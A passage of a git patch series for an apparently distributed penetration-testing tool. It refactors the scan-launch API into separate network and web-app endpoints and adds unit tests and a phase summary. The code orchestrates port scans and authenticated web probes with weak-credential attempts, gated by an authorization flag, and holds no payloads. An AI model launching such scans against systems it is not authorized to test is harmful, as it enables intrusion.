self.assertEqual(details["nr_findings"], 5) diff --git a/extensions/business/cybersec/red_mesh/tests/test_normalization.py b/extensions/business/cybersec/red_mesh/tests/test_normalization.py index 81e24935..3c8d3416 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_normalization.py +++ b/extensions/business/cybersec/red_mesh/tests/test_normalization.py @@ -222,6 +222,38 @@ class MockHost(_ReportMixin): self.assertNotIn("password123", finding["evidence"][0]) +class TestFindingCounting(unittest.TestCase): + + def test_count_all_findings_walks_all_sections(self): + """_count_all_findings counts service, web, correlation, and graybox findings.""" + from extensions.business.cybersec.red_mesh.mixins.report import _ReportMixin + + class MockHost(_ReportMixin): + pass + + host = MockHost() + report = { + "service_info": { + "80": { + "_service_info_http": {"findings": [{"title": "svc-1"}, {"title": "svc-2"}]}, + }, + }, + "web_tests_info": { + "80": { + "_web_test_xss": {"findings": [{"title": "web-1"}]}, + }, + }, + "correlation_findings": [{"title": "corr-1"}], + "graybox_results": { + "443": { + "_graybox_test": {"findings": [{"title": "gb-1"}, {"title": "gb-2"}]}, + }, + }, + } + + self.assertEqual(host._count_all_findings(report), 6) + + class TestLaunchValidation(unittest.TestCase): def test_launch_invalid_scan_type(self): From be7ca3c91aeaf6d8741e4a91f07c1959a84ea25c Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 01:15:35 +0000 Subject: [PATCH 052/114] refactor(redmesh)(phase 3): split launch API by scan type --- .../docs/codex/2026-03-11-phase-3-summary.md | 99 +++ .../cybersec/red_mesh/pentester_api_01.py | 647 ++++++++++++------ .../cybersec/red_mesh/tests/test_api.py | 129 ++++ 3 files changed, 662 insertions(+), 213 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md new file mode 100644 index 00000000..b9e5be01 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md @@ -0,0 +1,99 @@ +# Phase 3 Summary + +Date: 2026-03-11 + +## Goal + +Split the mixed `launch_test()` flow into scan-type-specific launch paths, harden validation, and update Navigator to call the explicit backend endpoints while keeping backward compatibility. + +## Issues Addressed + +- `002` endpoint split analysis +- `001-C4` webapp config inherited bogus default `exceptions` +- `001-H1` webapp launch produced network-style sliced worker assignments +- `001-M2` mixed launch flow was network-centric and hard to reason about +- `001-M3` webapp launch semantics were mixed with irrelevant network fields +- `001-L2` validation behavior was inconsistent +- design debt called out in `006` + +## What Was Done + +### Backend + +- Added scan-type-specific endpoints in [pentester_api_01.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py): + - `launch_network_scan()` + - `launch_webapp_scan()` +- Converted `launch_test()` into a compatibility router shim that dispatches by `scan_type`. +- Extracted shared launch helpers for: + - structured validation payloads + - exception parsing + - peer resolution + - common option normalization + - network worker assignment + - webapp worker assignment + - final immutable config + CStore announcement +- Changed webapp launch behavior to: + - require `target_url` + - require official credentials + - validate only `http`/`https` URLs + - assign the same resolved target port to every selected peer + - force deterministic mirror semantics + - persist `exceptions=[]` + - persist `nr_local_workers=1` +- Standardized endpoint-level validation failures to a structured payload: + - `{"error": "validation_error", "message": "..."}` + +### Frontend + +- Added explicit API client methods in [redmeshApi.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/services/redmeshApi.ts): + - `launchNetworkScan()` + - `launchWebappScan()` +- Split request construction in [jobs.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/api/jobs.ts): + - `createJobInputToNetworkLaunchRequest()` + - `createJobInputToWebappLaunchRequest()` +- Updated `createJob()` to choose the backend endpoint by `scanType`. +- Preserved compatibility by leaving `launchTest()` available in the API client. + +## Acceptance Criteria Check + +- Webapp launches no longer persist bogus default `exceptions`. + - Verified by backend test coverage. +- Webapp launches no longer produce degenerate sliced worker entries. + - Verified by backend test coverage. +- Validation errors are structurally consistent. + - Verified for missing authorization, invalid scan type, missing `target_url`, and invalid URL scheme. +- Network and webapp launch logic can be reasoned about independently. + - Implemented via separate endpoint entry points and separate frontend request builders. + +## Tests Run + +Backend: + +```bash +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py \ + /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py +``` + +Result: `91 passed` + +Frontend: + +```bash +npm test -- --runInBand jobs-api.test.ts jobs-route.test.ts +``` + +Result: `2 suites passed, 8 tests passed` + +## Resulting State + +- Backend launch semantics are now explicit by scan type. +- Navigator no longer sends graybox launches through the mixed legacy path. +- Existing callers can still use `launch_test()` during migration. +- The launch surface is materially easier to extend with scan-type-specific rules in later phases. + +## Remaining Follow-Up + +- Navigator still logs raw environment/config data during tests and runtime boot in [env.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/config/env.ts). That remains a security issue for the later hardening phase. +- Feature capability modeling is still network-centric in backend internals; that belongs to the next structural phase. diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index fd104316..7aa95c6b 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1544,158 +1544,59 @@ def get_feature_catalog(self): "all_methods": all_methods, } - - @BasePlugin.endpoint(method="post") - def launch_test( - self, - target: str = "", - start_port: int = 1, end_port: int = 65535, - exceptions: str = "64297", #todo format -> list - distribution_strategy: str = "", - port_order: str = "", - excluded_features: list[str] = None, - run_mode: str = "", - monitor_interval: int = 0, - scan_min_delay: float = 0.0, - scan_max_delay: float = 0.0, - task_name: str = "", - task_description: str = "", - selected_peers: list[str] = None, - redact_credentials: bool = True, - ics_safe_mode: bool = True, - scanner_identity: str = "", - scanner_user_agent: str = "", - authorized: bool = False, - created_by_name: str = "", - created_by_id: str = "", - nr_local_workers: int = 0, - # ── graybox params ── - scan_type: str = "network", - target_url: str = "", - official_username: str = "", - official_password: str = "", - regular_username: str = "", - regular_password: str = "", - weak_candidates: list[str] = None, - max_weak_attempts: int = 5, - app_routes: list[str] = None, - verify_tls: bool = True, - target_config: dict = None, - allow_stateful_probes: bool = False, - ): - """ - Start a pentest on the specified target. - - Announces the job to the network via CStore; actual execution is handled - asynchronously by worker threads. - - Parameters - ---------- - target : str, optional - Hostname or IP to scan. - start_port : int, optional - Inclusive start port, default 1. - end_port : int, optional - Inclusive end port, default 65535. - exceptions : str, optional - Comma/space separated list of ports to skip. - distribution_strategy: str, optional - "MIRROR" to have all workers scan full range; "SLICE" to split range. - port_order: str, optional - Defines port scanning order at worker-thread level: - "SHUFFLE" to randomize port order; "SEQUENTIAL" for ordered scan. - excluded_features: list[str], optional - List of feature names to exclude from scanning. - run_mode: str, optional - "SINGLEPASS" (default) for one-time scan; "CONTINUOUS_MONITORING" for - repeated scans at monitor_interval. - monitor_interval: int, optional - Seconds between passes in CONTINUOUS_MONITORING mode (0 = use config). - scan_min_delay: float, optional - Minimum random delay between scan operations (Dune sand walking). - scan_max_delay: float, optional - Maximum random delay between scan operations (Dune sand walking). - task_name: str, optional - Human-readable name for the task. - task_description: str, optional - Human-readable description for the task. - selected_peers: list[str], optional - List of peer addresses to run the test on. If not provided or empty, - all configured chainstore_peers will be used. Each address must exist - in the chainstore_peers configuration. - nr_local_workers: int, optional - Number of parallel scan threads each worker node spawns (1-16). - The assigned port range is split evenly across threads. 0 = use config default. - - Returns - ------- - dict - Job specification, current worker id, and other active jobs. - - Raises - ------ - ValueError - If no target is provided or if selected_peers contains invalid addresses. - """ - # INFO: This method only announces the job to the network. It does not - # execute the job itself - that part is handled by PentestJob - # executed after periodical check from plugin process. - if not authorized: - raise ValueError( - "Scan authorization required. Confirm you are authorized to scan this target." - ) - - # Validate scan_type - try: - scan_type_enum = ScanType(scan_type) - except ValueError: - return {"error": f"Invalid scan_type: {scan_type}. Valid: {[e.value for e in ScanType]}"} - - # Webapp-specific validation - if scan_type_enum == ScanType.WEBAPP: - if not target_url: - return {"error": "target_url required for webapp scan"} - if not official_username or not official_password: - return {"error": "official credentials required for webapp scan"} - from urllib.parse import urlparse as _urlparse - parsed = _urlparse(target_url) - target = parsed.hostname - nr_local_workers = 1 - start_port = end_port = parsed.port or (443 if parsed.scheme == "https" else 80) - - if excluded_features is None: - excluded_features = self.cfg_excluded_features or [] - if not target: - raise ValueError("No target specified.") - - start_port = int(start_port) - end_port = int(end_port) - - if start_port > end_port: - raise ValueError("start_port must be less than end_port.") - - if len(exceptions) > 0: - exceptions = [ - int(x) for x in self.re.findall(r'\d+', exceptions) - if x.isdigit() - ] - else: - exceptions = [] - - # Validate excluded_features against known features and calculate enabled_features for audit + def _validation_error(self, message: str): + """Return a consistent validation error payload.""" + return {"error": "validation_error", "message": message} + + def _parse_exceptions(self, exceptions): + """Normalize port-exception input to a list of ints.""" + if not exceptions: + return [] + if isinstance(exceptions, list): + return [int(x) for x in exceptions if str(x).isdigit()] + return [int(x) for x in self.re.findall(r'\d+', str(exceptions)) if x.isdigit()] + + def _resolve_enabled_features(self, excluded_features): + """Validate excluded features and derive enabled features for audit/config.""" + excluded_features = excluded_features or self.cfg_excluded_features or [] all_features = self.__features - if excluded_features: - invalid = [f for f in excluded_features if f not in all_features] - if invalid: - self.P(f"Warning: Unknown features in excluded_features (ignored): {self.json_dumps(invalid)}") - excluded_features = [f for f in excluded_features if f in all_features] + invalid = [f for f in excluded_features if f not in all_features] + if invalid: + self.P(f"Warning: Unknown features in excluded_features (ignored): {self.json_dumps(invalid)}") + excluded_features = [f for f in excluded_features if f in all_features] enabled_features = [f for f in all_features if f not in excluded_features] - self.P(f"Excluded features: {self.json_dumps(excluded_features)}") self.P(f"Enabled features: {self.json_dumps(enabled_features)}") + return excluded_features, enabled_features - distribution_strategy = str(distribution_strategy).upper() + def _resolve_active_peers(self, selected_peers): + """Validate selected peers against chainstore peers and return active peers.""" + chainstore_peers = self.cfg_chainstore_peers + if not chainstore_peers: + return None, self._validation_error("No workers found in chainstore peers configuration.") + + if selected_peers and len(selected_peers) > 0: + invalid_peers = [p for p in selected_peers if p not in chainstore_peers] + if invalid_peers: + return None, self._validation_error( + f"Invalid peer addresses not found in chainstore_peers: {invalid_peers}. " + f"Available peers: {chainstore_peers}" + ) + return selected_peers, None + return chainstore_peers, None + def _normalize_common_launch_options( + self, + distribution_strategy, + port_order, + run_mode, + monitor_interval, + scan_min_delay, + scan_max_delay, + nr_local_workers, + ): + """Apply defaults and bounds to common launch settings.""" + distribution_strategy = str(distribution_strategy).upper() if not distribution_strategy or distribution_strategy not in [DISTRIBUTION_MIRROR, DISTRIBUTION_SLICE]: distribution_strategy = self.cfg_distribution_strategy @@ -1703,48 +1604,39 @@ def launch_test( if not port_order or port_order not in [PORT_ORDER_SHUFFLE, PORT_ORDER_SEQUENTIAL]: port_order = self.cfg_port_order - # Validate run_mode and monitor_interval run_mode = str(run_mode).upper() if not run_mode or run_mode not in [RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING]: run_mode = self.cfg_run_mode if monitor_interval <= 0: monitor_interval = self.cfg_monitor_interval - # Validate scan delays (Dune sand walking) if scan_min_delay <= 0: scan_min_delay = self.cfg_scan_min_rnd_delay if scan_max_delay <= 0: scan_max_delay = self.cfg_scan_max_rnd_delay - # Ensure min <= max if scan_min_delay > scan_max_delay: scan_min_delay, scan_max_delay = scan_max_delay, scan_min_delay - # Validate local workers (parallel scan threads per worker node) nr_local_workers = int(nr_local_workers) if nr_local_workers <= 0: nr_local_workers = self.cfg_nr_local_workers nr_local_workers = max(LOCAL_WORKERS_MIN, min(LOCAL_WORKERS_MAX, nr_local_workers)) - # Validate and determine which peers to use - chainstore_peers = self.cfg_chainstore_peers - if not chainstore_peers: - raise ValueError("No workers found in chainstore peers configuration.") - - # Validate selected_peers against chainstore_peers - if selected_peers and len(selected_peers) > 0: - invalid_peers = [p for p in selected_peers if p not in chainstore_peers] - if invalid_peers: - raise ValueError( - f"Invalid peer addresses not found in chainstore_peers: {invalid_peers}. " - f"Available peers: {chainstore_peers}" - ) - active_peers = selected_peers - else: - active_peers = chainstore_peers + return { + "distribution_strategy": distribution_strategy, + "port_order": port_order, + "run_mode": run_mode, + "monitor_interval": monitor_interval, + "scan_min_delay": scan_min_delay, + "scan_max_delay": scan_max_delay, + "nr_local_workers": nr_local_workers, + } + def _build_network_workers(self, active_peers, start_port, end_port, distribution_strategy): + """Build peer assignments for network scans.""" num_workers = len(active_peers) if num_workers == 0: - raise ValueError("No workers available for job execution.") + return None, self._validation_error("No workers available for job execution.") workers = {} if distribution_strategy == DISTRIBUTION_MIRROR: @@ -1753,36 +1645,81 @@ def launch_test( "start_port": start_port, "end_port": end_port, "finished": False, - "result": None + "result": None, } - # else if selected strategy is SLICE - else: - - total_ports = end_port - start_port + 1 - - base_ports_count = total_ports // num_workers - rem_ports_count = total_ports % num_workers - - current_start = start_port - for i, address in enumerate(active_peers): - if i < rem_ports_count: - size = base_ports_count + 1 - else: - size = base_ports_count - current_end = current_start + size - 1 + return workers, None + + total_ports = end_port - start_port + 1 + base_ports_count = total_ports // num_workers + rem_ports_count = total_ports % num_workers + current_start = start_port + for i, address in enumerate(active_peers): + size = base_ports_count + 1 if i < rem_ports_count else base_ports_count + current_end = current_start + size - 1 + workers[address] = { + "start_port": current_start, + "end_port": current_end, + "finished": False, + "result": None, + } + current_start = current_end + 1 + return workers, None - workers[address] = { - "start_port": current_start, - "end_port": current_end, - "finished": False, - "result": None - } + def _build_webapp_workers(self, active_peers, target_port): + """Build peer assignments for webapp scans. Every peer gets the same target.""" + if not active_peers: + return None, self._validation_error("No workers available for job execution.") + workers = {} + for address in active_peers: + workers[address] = { + "start_port": target_port, + "end_port": target_port, + "finished": False, + "result": None, + } + return workers, None - current_start = current_end + 1 - # end for chainstore_peers - # end if + def _announce_launch( + self, + *, + target, + start_port, + end_port, + exceptions, + distribution_strategy, + port_order, + excluded_features, + run_mode, + monitor_interval, + scan_min_delay, + scan_max_delay, + task_name, + task_description, + active_peers, + workers, + redact_credentials, + ics_safe_mode, + scanner_identity, + scanner_user_agent, + created_by_name, + created_by_id, + nr_local_workers, + scan_type, + target_url, + official_username, + official_password, + regular_username, + regular_password, + weak_candidates, + max_weak_attempts, + app_routes, + verify_tls, + target_config, + allow_stateful_probes, + ): + """Persist immutable config, announce job in CStore, and return launch response.""" + excluded_features, enabled_features = self._resolve_enabled_features(excluded_features) - # Resolve scanner identity defaults if not scanner_identity: scanner_identity = self.cfg_scanner_identity if not scanner_user_agent: @@ -1792,7 +1729,6 @@ def launch_test( self.P(f"Launching {job_id=} {target=} with {exceptions=}") self.P(f"Announcing pentest to workers (instance_id {self.cfg_instance_id})...") - # Build immutable job config and persist to R1FS job_config = JobConfig( target=target, start_port=start_port, @@ -1817,7 +1753,6 @@ def launch_test( created_by_name=created_by_name or "", created_by_id=created_by_id or "", authorized=True, - # graybox fields scan_type=scan_type, target_url=target_url, official_username=official_username, @@ -1831,6 +1766,7 @@ def launch_test( target_config=target_config, allow_stateful_probes=allow_stateful_probes, ) + config_dict = job_config.to_dict() if job_config.redact_credentials: config_dict = self._redact_job_config(config_dict) @@ -1840,29 +1776,24 @@ def launch_test( return {"error": "Failed to store job config in R1FS"} job_specs = { - "job_id" : job_id, - # Listing fields (duplicated from config for zero-fetch listing) + "job_id": job_id, "target": target, "task_name": task_name, "scan_type": scan_type, "target_url": target_url, - "start_port" : start_port, - "end_port" : end_port, + "start_port": start_port, + "end_port": end_port, "risk_score": 0, "date_created": self.time(), - # Orchestration "launcher": self.ee_addr, "launcher_alias": self.ee_id, "timeline": [], - "workers" : workers, - # Job lifecycle: RUNNING | SCHEDULED_FOR_STOP | STOPPED | FINALIZED + "workers": workers, "job_status": JOB_STATUS_RUNNING, - # Continuous monitoring fields "run_mode": run_mode, "job_pass": 1, "next_pass_at": None, "pass_reports": [], - # Config CID (written once at launch) "job_config_cid": job_config_cid, } self._emit_timeline_event( @@ -1897,11 +1828,7 @@ def launch_test( color='r' ) - self.chainstore_hset( - hkey=self.cfg_instance_id, - key=job_id, - value=job_specs - ) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) self._log_audit_event("scan_launched", { "job_id": job_id, @@ -1920,15 +1847,309 @@ def launch_test( normalized_key, normalized_spec = self._normalize_job_record(other_key, other_spec) if normalized_key and normalized_key != job_id: report[normalized_key] = normalized_spec - #end for - + self.P(f"Current jobs:\n{self.json_dumps(all_network_jobs, indent=2)}") - result = { + return { "job_specs": job_specs, "worker": self.ee_addr, "other_jobs": report, } - return result + + @BasePlugin.endpoint(method="post") + def launch_network_scan( + self, + target: str = "", + start_port: int = 1, end_port: int = 65535, + exceptions: str = "64297", + distribution_strategy: str = "", + port_order: str = "", + excluded_features: list[str] = None, + run_mode: str = "", + monitor_interval: int = 0, + scan_min_delay: float = 0.0, + scan_max_delay: float = 0.0, + task_name: str = "", + task_description: str = "", + selected_peers: list[str] = None, + redact_credentials: bool = True, + ics_safe_mode: bool = True, + scanner_identity: str = "", + scanner_user_agent: str = "", + authorized: bool = False, + created_by_name: str = "", + created_by_id: str = "", + nr_local_workers: int = 0, + ): + """Launch a network scan using network-specific validation and worker slicing.""" + if not authorized: + return self._validation_error( + "Scan authorization required. Confirm you are authorized to scan this target." + ) + if not target: + return self._validation_error("target required for network scan") + + start_port = int(start_port) + end_port = int(end_port) + if start_port > end_port: + return self._validation_error("start_port must be less than end_port") + + options = self._normalize_common_launch_options( + distribution_strategy=distribution_strategy, + port_order=port_order, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + nr_local_workers=nr_local_workers, + ) + active_peers, peer_error = self._resolve_active_peers(selected_peers) + if peer_error: + return peer_error + + workers, worker_error = self._build_network_workers( + active_peers, start_port, end_port, options["distribution_strategy"] + ) + if worker_error: + return worker_error + + return self._announce_launch( + target=target, + start_port=start_port, + end_port=end_port, + exceptions=self._parse_exceptions(exceptions), + distribution_strategy=options["distribution_strategy"], + port_order=options["port_order"], + excluded_features=excluded_features, + run_mode=options["run_mode"], + monitor_interval=options["monitor_interval"], + scan_min_delay=options["scan_min_delay"], + scan_max_delay=options["scan_max_delay"], + task_name=task_name, + task_description=task_description, + active_peers=active_peers, + workers=workers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + created_by_name=created_by_name, + created_by_id=created_by_id, + nr_local_workers=options["nr_local_workers"], + scan_type=ScanType.NETWORK.value, + target_url="", + official_username="", + official_password="", + regular_username="", + regular_password="", + weak_candidates=None, + max_weak_attempts=5, + app_routes=None, + verify_tls=True, + target_config=None, + allow_stateful_probes=False, + ) + + @BasePlugin.endpoint(method="post") + def launch_webapp_scan( + self, + target_url: str = "", + excluded_features: list[str] = None, + run_mode: str = "", + monitor_interval: int = 0, + scan_min_delay: float = 0.0, + scan_max_delay: float = 0.0, + task_name: str = "", + task_description: str = "", + selected_peers: list[str] = None, + redact_credentials: bool = True, + ics_safe_mode: bool = True, + scanner_identity: str = "", + scanner_user_agent: str = "", + authorized: bool = False, + created_by_name: str = "", + created_by_id: str = "", + official_username: str = "", + official_password: str = "", + regular_username: str = "", + regular_password: str = "", + weak_candidates: list[str] = None, + max_weak_attempts: int = 5, + app_routes: list[str] = None, + verify_tls: bool = True, + target_config: dict = None, + allow_stateful_probes: bool = False, + ): + """Launch a graybox webapp scan using webapp-specific validation and mirrored worker assignment.""" + if not authorized: + return self._validation_error( + "Scan authorization required. Confirm you are authorized to scan this target." + ) + if not target_url: + return self._validation_error("target_url required for webapp scan") + if not official_username or not official_password: + return self._validation_error("official credentials required for webapp scan") + + from urllib.parse import urlparse as _urlparse + parsed = _urlparse(target_url) + if parsed.scheme not in ("http", "https") or not parsed.hostname: + return self._validation_error("target_url must be a valid http/https URL") + + target = parsed.hostname + target_port = parsed.port or (443 if parsed.scheme == "https" else 80) + + options = self._normalize_common_launch_options( + distribution_strategy=DISTRIBUTION_MIRROR, + port_order=PORT_ORDER_SEQUENTIAL, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + nr_local_workers=1, + ) + active_peers, peer_error = self._resolve_active_peers(selected_peers) + if peer_error: + return peer_error + + workers, worker_error = self._build_webapp_workers(active_peers, target_port) + if worker_error: + return worker_error + + return self._announce_launch( + target=target, + start_port=target_port, + end_port=target_port, + exceptions=[], + distribution_strategy=DISTRIBUTION_MIRROR, + port_order=PORT_ORDER_SEQUENTIAL, + excluded_features=excluded_features, + run_mode=options["run_mode"], + monitor_interval=options["monitor_interval"], + scan_min_delay=options["scan_min_delay"], + scan_max_delay=options["scan_max_delay"], + task_name=task_name, + task_description=task_description, + active_peers=active_peers, + workers=workers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + created_by_name=created_by_name, + created_by_id=created_by_id, + nr_local_workers=1, + scan_type=ScanType.WEBAPP.value, + target_url=target_url, + official_username=official_username, + official_password=official_password, + regular_username=regular_username, + regular_password=regular_password, + weak_candidates=weak_candidates, + max_weak_attempts=max_weak_attempts, + app_routes=app_routes, + verify_tls=verify_tls, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, + ) + + @BasePlugin.endpoint(method="post") + def launch_test( + self, + target: str = "", + start_port: int = 1, end_port: int = 65535, + exceptions: str = "64297", #todo format -> list + distribution_strategy: str = "", + port_order: str = "", + excluded_features: list[str] = None, + run_mode: str = "", + monitor_interval: int = 0, + scan_min_delay: float = 0.0, + scan_max_delay: float = 0.0, + task_name: str = "", + task_description: str = "", + selected_peers: list[str] = None, + redact_credentials: bool = True, + ics_safe_mode: bool = True, + scanner_identity: str = "", + scanner_user_agent: str = "", + authorized: bool = False, + created_by_name: str = "", + created_by_id: str = "", + nr_local_workers: int = 0, + scan_type: str = "network", + target_url: str = "", + official_username: str = "", + official_password: str = "", + regular_username: str = "", + regular_password: str = "", + weak_candidates: list[str] = None, + max_weak_attempts: int = 5, + app_routes: list[str] = None, + verify_tls: bool = True, + target_config: dict = None, + allow_stateful_probes: bool = False, + ): + """Compatibility shim that routes to scan-type-specific launch endpoints.""" + try: + scan_type_enum = ScanType(scan_type) + except ValueError: + return self._validation_error( + f"Invalid scan_type: {scan_type}. Valid: {[e.value for e in ScanType]}" + ) + + if scan_type_enum == ScanType.WEBAPP: + return self.launch_webapp_scan( + target_url=target_url, + excluded_features=excluded_features, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + task_name=task_name, + task_description=task_description, + selected_peers=selected_peers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + authorized=authorized, + created_by_name=created_by_name, + created_by_id=created_by_id, + official_username=official_username, + official_password=official_password, + regular_username=regular_username, + regular_password=regular_password, + weak_candidates=weak_candidates, + max_weak_attempts=max_weak_attempts, + app_routes=app_routes, + verify_tls=verify_tls, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, + ) + + return self.launch_network_scan( + target=target, + start_port=start_port, + end_port=end_port, + exceptions=exceptions, + distribution_strategy=distribution_strategy, + port_order=port_order, + excluded_features=excluded_features, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + task_name=task_name, + task_description=task_description, + selected_peers=selected_peers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + authorized=authorized, + created_by_name=created_by_name, + created_by_id=created_by_id, + nr_local_workers=nr_local_workers, + ) @BasePlugin.endpoint diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 61fe0950..0a6acab0 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -120,6 +120,30 @@ def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmF plugin._redact_job_config = staticmethod(lambda d: d) return plugin + @classmethod + def _bind_launch_helpers(cls, plugin): + """Bind real launch helper methods onto a MagicMock plugin host.""" + cls._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + + plugin._validation_error = lambda message: PentesterApi01Plugin._validation_error(plugin, message) + plugin._parse_exceptions = lambda exceptions: PentesterApi01Plugin._parse_exceptions(plugin, exceptions) + plugin._resolve_enabled_features = lambda excluded: PentesterApi01Plugin._resolve_enabled_features(plugin, excluded) + plugin._resolve_active_peers = lambda selected: PentesterApi01Plugin._resolve_active_peers(plugin, selected) + plugin._normalize_common_launch_options = lambda **kwargs: PentesterApi01Plugin._normalize_common_launch_options( + plugin, **kwargs + ) + plugin._build_network_workers = lambda active_peers, start_port, end_port, distribution_strategy: ( + PentesterApi01Plugin._build_network_workers(plugin, active_peers, start_port, end_port, distribution_strategy) + ) + plugin._build_webapp_workers = lambda active_peers, target_port: ( + PentesterApi01Plugin._build_webapp_workers(plugin, active_peers, target_port) + ) + plugin._announce_launch = lambda **kwargs: PentesterApi01Plugin._announce_launch(plugin, **kwargs) + plugin.launch_network_scan = lambda **kwargs: PentesterApi01Plugin.launch_network_scan(plugin, **kwargs) + plugin.launch_webapp_scan = lambda **kwargs: PentesterApi01Plugin.launch_webapp_scan(plugin, **kwargs) + return plugin + @classmethod def _extract_job_specs(cls, plugin, job_id): """Extract the job_specs dict from chainstore_hset calls.""" @@ -133,10 +157,34 @@ def _launch(self, plugin, **kwargs): """Call launch_test with mocked base modules.""" self._mock_plugin_modules() from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + self._bind_launch_helpers(plugin) defaults = dict(target="example.com", start_port=1, end_port=1024, exceptions="", authorized=True) defaults.update(kwargs) return PentesterApi01Plugin.launch_test(plugin, **defaults) + def _launch_network(self, plugin, **kwargs): + """Call launch_network_scan with mocked base modules.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + self._bind_launch_helpers(plugin) + defaults = dict(target="example.com", start_port=1, end_port=1024, exceptions="", authorized=True) + defaults.update(kwargs) + return PentesterApi01Plugin.launch_network_scan(plugin, **defaults) + + def _launch_webapp(self, plugin, **kwargs): + """Call launch_webapp_scan with mocked base modules.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + self._bind_launch_helpers(plugin) + defaults = dict( + target_url="https://example.com/app", + official_username="admin", + official_password="secret", + authorized=True, + ) + defaults.update(kwargs) + return PentesterApi01Plugin.launch_webapp_scan(plugin, **defaults) + def test_launch_builds_job_config_and_stores_cid(self): """launch_test() builds JobConfig, saves to R1FS, stores job_config_cid in CStore.""" plugin = self._build_mock_plugin(job_id="test-job-1", r1fs_cid="QmFakeConfigCID123") @@ -212,6 +260,87 @@ def test_launch_fails_if_r1fs_unavailable(self): job_specs = self._extract_job_specs(plugin, "test-job-5") self.assertIsNone(job_specs) + def test_launch_webapp_scan_uses_mirrored_worker_assignments(self): + """Webapp launches assign the same resolved target port to every selected peer.""" + plugin = self._build_mock_plugin(job_id="test-job-webapp") + plugin.chainstore_peers = ["node-1", "node-2"] + plugin.cfg_chainstore_peers = ["node-1", "node-2"] + + result = self._launch_webapp(plugin, selected_peers=["node-1", "node-2"]) + self.assertNotIn("error", result) + + job_specs = self._extract_job_specs(plugin, "test-job-webapp") + workers = job_specs["workers"] + self.assertEqual(workers["node-1"]["start_port"], 443) + self.assertEqual(workers["node-1"]["end_port"], 443) + self.assertEqual(workers["node-2"]["start_port"], 443) + self.assertEqual(workers["node-2"]["end_port"], 443) + + def test_launch_webapp_scan_neutralizes_network_only_fields(self): + """Webapp config does not persist bogus network defaults like exceptions='64297'.""" + plugin = self._build_mock_plugin(job_id="test-job-webcfg") + self._launch_webapp(plugin) + + config_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + self.assertEqual(config_dict["scan_type"], "webapp") + self.assertEqual(config_dict["exceptions"], []) + self.assertEqual(config_dict["distribution_strategy"], "MIRROR") + self.assertEqual(config_dict["nr_local_workers"], 1) + self.assertEqual(config_dict["target_url"], "https://example.com/app") + + def test_launch_webapp_scan_rejects_missing_target_url(self): + """Webapp endpoint returns structured validation error for missing URL.""" + plugin = self._build_mock_plugin(job_id="test-job-weberr") + result = self._launch_webapp(plugin, target_url="") + self.assertEqual(result["error"], "validation_error") + self.assertIn("target_url", result["message"]) + + def test_launch_webapp_scan_rejects_invalid_url_scheme(self): + """Webapp endpoint rejects malformed or non-http(s) targets.""" + plugin = self._build_mock_plugin(job_id="test-job-webbadurl") + result = self._launch_webapp(plugin, target_url="ftp://example.com/app") + self.assertEqual(result["error"], "validation_error") + self.assertIn("http/https", result["message"]) + + def test_launch_network_scan_requires_authorization_with_structured_error(self): + """Network endpoint returns validation_error when authorization is missing.""" + plugin = self._build_mock_plugin(job_id="test-job-noauth") + result = self._launch_network(plugin, authorized=False) + self.assertEqual(result["error"], "validation_error") + self.assertIn("authorization", result["message"].lower()) + + def 